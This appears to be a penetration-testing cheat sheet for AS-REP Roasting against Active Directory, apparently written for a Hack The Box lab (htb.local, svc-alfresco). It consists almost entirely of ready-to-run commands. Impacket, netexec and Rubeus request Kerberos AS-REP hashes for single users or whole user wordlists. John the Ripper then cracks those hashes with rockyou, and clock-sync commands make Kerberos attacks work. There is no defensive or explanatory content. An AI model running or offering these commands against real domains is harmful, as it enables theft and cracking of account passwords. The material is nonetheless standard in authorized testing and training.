AS-REP Roasting

Ticket Granting Ticket (TGT)

Remote

# user
impacket-GetNPUsers htb.local/svc-alfresco -no-pass                                                                        
netexec ldap htb.local -u 'svc-alfresco' -p '' --asreproast output.txt
netexec ldap htb.local -u 'svc-alfresco' -p '' --asreproast output.txt --kdcHost 192.168.1.2

# users wordlist
impacket-GetNPUsers -no-pass -usersfile users.dic htb.local/
netexec ldap htb.local -u users.dic -p '' --asreproast output.txt
netexec ldap htb.local -u users.dic -p '' --asreproast output.txt --kdcHost 192.168.1.2
for user in $(cat users.dic); do impacket-GetNPUsers htb.local/"${user}" -no-pass 2>/dev/null; done |grep "\$krb5"

Local

# users detect
.\Rubeus.exe asreproast /nowrap
# user
.\Rubeus.exe asreproast /user:svc-alfresco /nowrap

Cracking Hash

john --wordlist=/opt/rockyou.txt hash
john --show hash

Wordlist

Users

• names.txt
• kerberos_enum_userlists

Clock

Sync

# apt-get install rdate -y
rdate -n 192.168.1.2
#or
# apt-get install ntpdate -y
ntpdate 192.168.1.2

Error (VirtualBox)

service virtualbox-guest-utils stop
ntpdate -s 192.168.1.2